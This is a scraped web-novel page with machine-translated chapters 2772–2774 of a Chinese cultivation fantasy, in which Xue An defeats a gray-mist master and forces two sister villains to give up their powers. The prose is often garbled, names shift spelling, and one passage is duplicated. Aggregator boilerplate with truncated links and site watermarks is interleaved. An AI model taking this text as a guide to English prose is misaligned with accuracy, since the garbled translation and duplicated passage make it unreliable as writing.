    With that, Sumana waved her hand, and a strand of blue silk turned into a long sword, stabbing straight.


    This sword is extremely fast.


    Ren Ning felt a flower in front of her, and then a cold wind hit.


    She closed her eyes confessing her fate, and muttered in her heart.


    Master!


    Sorry, I''m leaving now! Remember to avenge me.


    The expected pain did not appear. On the contrary, a fragrant wind hit, and then Sheng Hongqian''s seductive voice came from her ears.


    "Two of you, it''s not appropriate to start hurting people without even saying hello on the site of Longhuzhai!"


    Ren Ning opened her eyes suddenly, and she saw Sheng Hongqian''s exquisite curve of her back.


    Ren Ning was a little stunned.


    She never dreamed that Sheng Hongqian would save herself.


    As if feeling her astonishment, Sheng Hongqian turned her head and glanced at her, then smiled and blinked at her.


    At the same time, Shu Manna and Shu Manqing rushed to the front, and then sneered.


    "Sheng Hongqian, I really didn''t expect you to stand out for others! What does this person have to do with you?"


    "No way, the man is a bit tired of playing lately, so I found a charming little lady to relieve my boredom! Besides, this is the site of Longhuzhai, you have to weigh and weigh when you do it!" Sheng Hongqian said carelessly.


    Ren Ning''s face turned red.


    She, who has written countless stories in this novel, naturally understands Sheng Hongqian''s meaning in seconds. UU reading www.uukanshu.cOM


    But her remarks angered Sister Shumana even more.


    "The site of Longhuzhai? What a joke, you are just a mob in the eyes of my sisters. Since you are strong for her, then go to death!"


    With that, countless blue silks blasted from behind Shumana.


    Sheng Hongqian''s smile grew colder.


    "To be honest, I saw you not pleasing to your eyes before, and today I will let you know that I am not a mob!"


    With that, Sheng Hongqian stepped forward to face the turbulent green silk sword intent.


    Her strength is pretty good, but it''s far worse than this Shumana.


    What she relied on was nothing but courage, and the confidence that Xue An could rush out of the gray mist to regain control of the situation.


    But this blue silk sword intent is real.


    So just after resisting for a moment, Sheng Hongqian seemed irresistible.


    At this moment, a round and cute ball suddenly fell from the sky, blocking the Qingsi attacking Sheng Hongqian.


    Then he listened to the cute ball shouting: "The combination of the two masters of the Dragon and Tiger Village is here, who dares to make a mistake!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 2772 Mob? No, we are not!) Read the record, and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2772： mob? No, we are not!

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "If it''s better to know after the ants fight, if you show up today, then don''t leave!"


    When the words fall, Xue An''s momentum is like a rainbow, and he reads like a horse, slashing past.


    The gray figure sneered, "I don''t know how to live or die!"


    Then there was a wisp of gray mist to greet the blow.


    With a loud bang, this special enchantment constructed by the three spiritual thoughts of Schumann Schumann and Xue An suddenly shattered.


    Sister Sumana snorted, and the soul returned to her body, and then blood spattered from her mouth and nose.


    But at the moment they can''t care about that much.


    They looked at the battlefield ahead with scorching eyes.


    I saw a gray mist across the sky, in which Xue An was faintly visible.


    From the outside, the battle was not fierce at all, and even a little boring.


    But only the two sisters Shumana knew the danger.


    Because this is clearly fighting against each other with divine mind and soul!


    A little carelessness will be overwhelming.


    As for Sheng Hongqian and Niu Dali who were watching the battle from a distance, they were a little unclear.


    "What''s the matter? Why are the female devil and the adults silent just now, and after a while, the female devil spit out blood?" The old five asked with a full forehead.


    "Oh, don''t you understand? Obviously Master Xue and the female devil are fighting with spirits!" Zhang Xiaoqiang explained.


    "Then who won?" The fifth asked.


    "It goes without saying that the adult must have won. Didn''t you see that the two demon heads vomited blood!" The sixth man on the side suddenly said.


    "Nothing, what''s the matter with this gray fog?" Niu Dali said solemnly.


    "I''m also wondering, how come a layer of mist suddenly appeared?" Zhang Xiaoqiang said.


    Only Ren Ning did not speak, clenched her fists in both hands, and looked at the figure blocked by the mist in the distance very nervously.


    Master! You can''t do anything!


    Although she did not apprentice a teacher, after Xue An built the foundation for her and brought her into the path of practice, Ren Ning had already regarded Xue An as his own mentor in her heart.


    So at this moment, she should be the most nervous in the audience.


    In contrast, this Sheng Hongqian was the most calm.


    This is not because she is not worried, but because she has a blind trust in Xue An.


    It sounds strange, although Sheng Hongqian didn''t say a few words to Xue An in total, but she had the most confidence in Xue An.


    In her opinion, there is nothing in this world that can stump this man, and the two little demon heads can''t make any waves.


    But at this moment, Sister Sumanna, who finally stabilized her out-of-control qi and blood, turned her head and looked at Sheng Hongqian and the others.


    "Sister, these guys are obviously the accomplices of this kid. Taking advantage of the fact that he''s fighting with the adults right now, just clean up!" Shu Manqing said murderously.


    "I also have this intention. Today''s hatred is to be counted from these guys first, and it is assumed that the interest will be charged first!" Shu Manna said coldly.


    After all, the two sisters rushed towards everyone.


    "What are they going to do? Do they want to come over and talk to us?" The old five said with a smile.


    But as long as the eyes are not blind, no one will believe that these two murderous guys just came to relive the past.


    The fifth child also felt that he was very stupid, so he turned around and wanted to say something to Niu Dali and others.


    But when he turned his head, he saw that Niu Dali, Zhang Xiaoqiang and others had already run away.


    Old Wuyi was stunned and couldn''t help shouting: "Boss, what are you doing?"


    "Of course it is to escape!" Niu, who had run more than a dozen miles away, shouted vigorously.


    Zhang Xiaoqiang turned around and shouted: "Fifth, what are you doing stupidly standing there? Hurry up!"


    The old five Ji Lingling shuddered, and then ran away in a panic.


    These few village owners of them ran faster than one.


    But some people did not run.


    Such as Ren Ning.


    She didn''t run.


    Of course, even if she runs, it''s useless.


    Because she had just successfully built the foundation, her strength was even lower than that of the ants compared to the two Sumana sisters.


    Even if she runs, it is impossible to escape the chase of the sisters.


    So she stood in place, looking coldly at the two Sumana who were approaching.


    Both Shumana were irritated by her attitude.


    "Really looking for death!"


    With that, Sumana waved her hand, and a strand of blue silk turned into a long sword, stabbing straight.


    This sword is extremely fast.


    Ren Ning felt a flower in front of her, and then a cold wind hit.


    She closed her eyes confessing her fate, and muttered in her heart.


    Master!


    Sorry, I''m leaving now! Remember to avenge me.


    The expected pain did not appear. On the contrary, a fragrant wind hit, and then Sheng Hongqian''s seductive voice came from her ears.


    "Two of you, it''s not appropriate to start hurting people without even saying hello on the site of Longhuzhai!"


    Ren Ning opened her eyes suddenly, and she saw Sheng Hongqian''s exquisite curve of her back.


    Ren Ning was a little stunned.


    She never dreamed that Sheng Hongqian would save herself.


    As if feeling her astonishment, Sheng Hongqian turned her head and glanced at her, then smiled and blinked at her.


    At the same time, Shu Manna and Shu Manqing rushed to the front, and then sneered.


    "Sheng Hongqian, I really didn''t expect you to stand out for others! What does this person have to do with you?"


    "No way, the man is a bit tired of playing lately, so I found a charming little lady to relieve my boredom! Besides, this is the site of Longhuzhai, you have to weigh and weigh when you do it!" Sheng Hongqian said carelessly.


    Ren Ning''s face turned red.


    She, who has written countless stories in this novel, naturally understands Sheng Hongqian''s meaning in seconds. UU reading www. uukanshu. com


    But her remarks angered Sister Shumana even more.


    "The site of Longhuzhai? What a joke. You are just a mob in the eyes of my sisters. Since you are strong for her, then you go to die!"


    With that, countless blue silks blasted from behind Shumana.


    Sheng Hongqian''s smile grew colder.


    "To be honest, I saw you not pleasing to your eyes before, and today I will let you know that I am not a mob!"


    With that, Sheng Hongqian stepped forward to face the turbulent green silk sword intent.


    Her strength is pretty good, but it''s far worse than this Shumana.


    What she relied on was nothing but courage and the confidence that Xue An could rush out of the gray mist to regain control of the situation.


    But this blue silk sword intent is real.


    So just after resisting for a moment, Sheng Hongqian seemed irresistible.


    At this moment, a round and cute ball suddenly fell from the sky, blocking the Qingsi attacking Sheng Hongqian.


    Then he listened to the cute ball shouting: "The combination of the two masters of the Dragon and Tiger Village is here, who dares to make a mistake!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 2772 Mob? No, we are not!) Read the record, and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2773： Dumbfounded, Lord has a shield!

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Sister Shumanna Shumanqing almost vomited blood.


    "Anything dare to come and yell in front of our sisters, don''t get out of the way!" Shu Manna burst out, and the Qingsi sword rushed toward the cute ball like a raging tide.


    But what I never expected was that so many Qingsi sword intents did not break through the defense of this cute ball, and they were bounced off the surface.


    Niu vigorously poked his head out and laughed wildly: "You''re dumbfounded, Lord has a defensive shield!"


    Shumana felt like she was going to explode with anger.


    People like Niu Dali in the past didn''t even dare to breathe in front of him.


    As a result, she is now mocking herself wantonly, which is simply an intolerable shame to her.


    "Sister! Kill her!"


    In fact, she didn''t need her instructions at all, and Shu Manqing on the side was already ready to do it after the Qingsi sword attack failed.


    When Niu spoke vigorously, she snorted and launched an attack directly.


    Click!


    With a crisp sound, the space where the cute ball was located was forcibly bent.


    Niu shrank his neck in fright, and hurriedly retracted into the cute ball.


    Shou Manqing sneered, seeming to have seen this round and cute ball being squeezed out of space.


    But what happened in the next second made her and everyone stunned.


    Under the horrific high pressure of space folding, it still didn''t break through the defense of the cute ball, it just bounced out of the spot under the action of squeezing force.


    When it appeared in midair, the surface was still as smooth as jade, and it was unharmed.


    The sisters Shu Manna and Shu Manqing were all dumbfounded.


    In the past, they regarded themselves very high, and did not pay attention to the group of people in Longhu Village.


    Especially the master Niu Dali and Erzhai advocating Xiaoqiang''s tricks are very clear to them.


    Knowing that they usually rely on the power of the rules that can disguise the aura of the strong to slander and deceive everywhere, so even more dismissive of them.


    But I never expected that it was such an ant-like existence, but today it is strong and solid to teach them a lesson.


    None of his attacks could shake it.


    Not to mention anything else, this skill can be called a magical skill based on this extremely terrifying defensive power.


    But what they didn''t know was that the cute ball formed by Niu Dali and Zhang Xiaoqiang seemed powerful, but in fact it had a fatal flaw.


    Regardless of whether it is Qingsi''s sword intent or folding space, it can actually be counted as the power of rules that Sister Shumanna possesses.


    And their combination happens to have a strong defensive ability against this ability.


    This is also the reason why the second woman''s attack did not work.


    In fact, if you think about it a little bit, if their abilities are so defying the sky, they won''t even settle down in the small Dragon Tiger Mountain to become a village master.


    Their most fatal flaw is that they are extremely defensive against the power of rules, but cannot defend against physical attacks.


    As long as a slightly stronger force attack can cause them to disintegrate.


    This is the reason why they were kicked flying by Xue An in Ling''an City before, and the reason for this miserable defeat.


    Because what Xue An used was a real physical attack.


    Naturally, the two sisters Shumana didn''t know this.


    They just feel that the world has changed and become so unfamiliar.


    The existence that he hadn''t looked at before had become so powerful at this moment.


    Where does this make sense?


    Thinking of this, the sisters looked at each other, retreat in their hearts.


    Run now!


    This place is not for us at all!


    Immediately the two turned around and prepared to escape from here.


    But at this moment, the five, six and others all saw the clues and couldn''t help shouting, blocking their way one after another.


    "Hey, two stinky ladies, I used to see you not pleasing to your eyes a long time ago, how come you still want to escape now?"


    Old Wu shouted in a deep voice, and then pulled off his shirt to stretch his figure, revealing the extremely strong muscles.


    Although Lao Liu didn''t say a word, his eyes were red as blood, and they looked terrifying.


    Even the fourth child, who was injured in his palm, walked forward silently and put his injured hand behind him.


    Shu Manna and Shu Manqing were really frightened back a few steps, but they were immediately enraged.


    I''m afraid that the cute ball that won''t be broken by the hammer is fine. How come even these miscellaneous fish and shrimps dare to pop out and yell at me?


    Could it be that I didn''t read the almanac when I went out today, so everything went wrong?


    "Fuck! Don''t dare to talk about your dog''s life!" Shu Manna shouted in a deep voice.


    To stay as usual, even if they lent ten courage to the four, five and six, they did not dare to stop Sister Shumana.


    But today I don��t know if it is because the performance of the eldest brother and the second brother is too amazing, or because Xue An is relying on him!


    The three of them were unexpectedly uncharacteristic, and instead of taking a step back, they sneered.


    "Smelly ladies, don''t think that our brothers are afraid of you. Before, it was just because we didn''t want to be familiar with women. Today, let you see and see what I''m waiting for!" The old five grinned.


    "Okay, then I''ll see how good you are today!" Shu Manna grinned furiously.


    The fourth and sixth on the side immediately stepped back when they heard the words.


    "Fifth brother, you go first!"


    "That''s right, the fifth child, I''ll leave it to you!"


    The old fifth almost didn''t choke to death, and winked frantically at these two people. That meant I was just pretending to be an X. Why are you serious?


    How can I deal with this girl?


    But the two of them didn''t see each other, and there was no way, the old fifth had no choice but to bite the bullet and turned his head to smile at Shumana embarrassingly.


    "I said I was just joking with you, do you believe it?"


    But how could Shumana listen to his explanation, the blue silk sword intent broke out instantly, and she cut over to the old fifth ~ www.novelhall.com~ the old fifth screamed in fright, turned and ran.


    But how could his speed be comparable to Jianguang, but the Jianguang had already cut to his back in an instant, and he was about to be cut in half in the next instant.


    At this moment, the sky and the earth were shaking.


    Everyone looked away in amazement.


    I saw the gray mist quickly dissipating like ice and snow, and at the same time a sorrowful scream was faintly heard in the void.


    "Surnamed Xue, don''t be proud of you for too long, there will be someone who will take care of you after the above matters are processed!"


    At this time Xue An''s figure gradually appeared, his face was slightly pale, but his figure was still as tall as a sword.


    "Okay, then I''ll wait!"


    When the words fell, a sword intent between Xue An''s eyebrows quickly formed, and it pierced into the void.


    puff!


    Then there was a scream in the void.


    "Ah ah ah boy, you wait for me!"


    puff!


    Another sword!


    The sound stopped abruptly.


    Everything returned to silence.


    Everyone also looked dumbfounded.


    Who would have thought that Xue An''s shot would be so swift and clean, but for a short while, the scene rushed out of the gray mist and succeeded in fighting back.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2773 is dumbfounded, Lord has a shield!) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2774： Intimidate

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Especially the sisters Shu Manna and Shu Manqing were caught in a great panic.


    Even the omnipotent master died like this!


    How good should this boy be?


    At this point, the two of them didn''t even have the courage to escape.


    Because they knew that since this young man was so powerful, it would be easy to kill himself.


    So escape is absolutely impossible.


    They could only stand shiveringly, hoping that Xue An would forget himself.


    But this is destined to be an extravagant hope.


    Xue An first smiled at Ren Ning, indicating that he was okay, and then slowly turned his head to look at the two Sisters Sumana.


    When they saw their eyes, the two trembled slightly, and then bowed their heads deeply, not daring to look directly at Xue An.


    "I remember you said before that you want me to die than life, but is it such a waste that you rely on?" Xue An said coldly.


    Shumana''s teeth trembled, and she couldn''t say anything.


    On the contrary, this Schu Manqing showed a little calmness and hurriedly said.


    "My lord, we really don''t know that you have such a supernatural power. What happened before is our fault. Please punish you at will, as long as you leave our sister''s life!"


    Speaking of the four words of arbitrary punishment, Shu Manqing''s tone became a little ambiguous, and this kind of words came out of the mouth of their sister Hua, which aroused people''s infinite reverie.


    At least Niu Dali, Zhang Xiaoqiang and other men''s eyes were a little straight.


    Only Xue An was unmoved, but smiled coldly.


    "Punish at will? Okay, then you will abandon your cultivation now, and then leave here and don''t set foot here for half a step. Is it possible to do it?"


    As soon as this remark came out, Schu Manna and Schu Man Ching''s sisters all changed.


    "My lord, what is the difference between your punishment and asking us to die?" Shu Manqing said delicately.


    "Didn''t you want me to punish me at will? Why? I said now, but you refused?" Xue An said with cold eyes.


    "this����."


    Both of them were in trouble.


    They thought that relying on their looks and the special bonus of the twin sisters, they would be able to fascinate this young man.


    However, he didn''t expect that he would not be moved at all, and instead proposed such a punishment.


    As Shu Manqing said, it is no different from killing them.


    After all, these two sisters have been rampant and overbearing to make many enemies over the years. If they lose their cultivation base, they will really become fish to be slaughtered on the chopping board, even worse than just death!


    Shou Manqing took a deep breath, and then he said.


    "My lord, it''s better to be like this. As long as you can change a condition that allows us to live safely, no matter what we do, our sisters are willing to do anything, and will never dare to make any further excuses!"


    Xue An sneered, "It is said that it is light, but what if you reject it with various reasons this time?"


    "My lord, don''t worry, we don''t dare to be scared to death!"


    "Okay, then I will give you another way to survive!"


    With that, Xue An raised his hand and pointed to Ren Ning in the distance.


    "This is my apprentice. It hasn''t been long since the foundation was built. He is a newcomer on the path of practice, but it is impossible for me to be by her side all the time, so..."


    Xue settled for a while, and then went on to say: "I think the rules of the two of you are good. Why don''t you let me be an apprentice!"


    The understatement said a condition that was enough to move the two of them.


    Give up the power of your own rules to others!


    What is the difference between this and self-defeating cultivation base?


    So whether it was Schumann or Schumann, there was a look of embarrassment on their faces.


    Upon seeing this, Xue An raised his eyebrows slightly, "Why? Still want to decline? It seems that you really think I dare not kill you!"


    Following the voice, a majestic divine coercion rose from Xue An''s body.


    The eyes of the two of them all showed horror, and they hurriedly said.


    "The adults calm down, the adults calm down, I''m willing to wait, I''m willing to wait!"


    "Humph!" Xue An snorted coldly, and then the pressure was dissipated.


    "Then let''s start!"


    The two of them felt sad, but they didn''t dare to disobey Xue An''s orders, so they could only look at each other in despair, and then use their profound strength.


    Two puffs!


    The second woman spit out a gray bead from her mouth, and then her whole body''s aura fell wildly, and her complexion became even more pale.


    Despite this, they still insisted on saying: "My lord, this is the power of the rules for both of us!"


    Xue An waved his hand, and these two beads disappeared into the space in an instant, and then appeared in his hand.


    The eyelids of Shu Manna and Shu Manqing who looked at them with this magical one-handedness were violently pounding, and the trace of resentment in their hearts disappeared.


    Although the power of rules is very important, it is not worth mentioning compared to his own life.


    Xue Anlue took a look at the two beads in his hand and made sure that the two women did not lie, because there was indeed a strange power in it, so he nodded.


    "Very well, since you are so trustworthy, then I don''t make it difficult for you. Hurry up and get out. Remember, you can''t step into this mountainous area anymore!"


    The second daughter Nuno dare not say anything, but she was thinking in her heart.


    From now on you just beg us to come, but we dare not come.


    Oh shit!


    Today, I really paid a lot of money, not to mention that the owner was killed, and even the power of the rules that he relied on to become famous went in.


    The two of them were madly complaining.


    Xue Anlue raised his head, "Don''t you get out of here?"


    Upon hearing this, the two daughters immediately rushed out like a bereaved dog as if they were amnesty.


    Although the power of rules has been lost, the two of them still have their cultivation bases, so they disappeared into the sky in the blink of an eye.


    Xue quietly stood there, his eyes were deep, and he didn''t know what he was thinking.


    At the same time, Sheng Hongqian, Niu Dali and others greeted her.


    "My lord, how did you let these two demon heads go?" Niu Dali asked strangely.


    "Who said no, these two stinky ladies will compare each other. If you don''t kill them this time, there will be endless troubles!" The old fifth was also puzzled.


    But at this moment, I only heard a creaking sound in Xue An''s body and then we saw deep cracks in his body.


    Just like a broken porcelain doll, it is shocking.


    This scene made Niu Dali and others stupid in place.


    Ren Ning reacted extremely quickly and immediately rushed forward, "Master!"


    Xue An waved his hand, and said in a slightly weak voice: "Don''t touch me, I just suffered some minor injuries, it might be a serious problem!"


    At this point, Niu Dali and the others understood why Xue An had just let Sister Shumana go.


    It''s not that he doesn''t want to kill, but he really doesn''t have the ability to kill.


    Thinking of this, Niu Dali couldn''t help shaking his heart, and then whispered softly.


    "Both have been wounded so that they can intimidate the two female devil heads innocently, and force them to surrender their power of rules. What a courage!"


    The words are full of admiration.


    Sheng Hongqian thought more than they did. His eyes flashed first, and then he didn''t take the initiative to step forward. Instead, he stepped back a little later, maintaining a safe distance, and then whispered softly.


    "My son, don''t worry, with me waiting, even if the two women go and return, there will be no benefit!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 2774 Intimidation) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()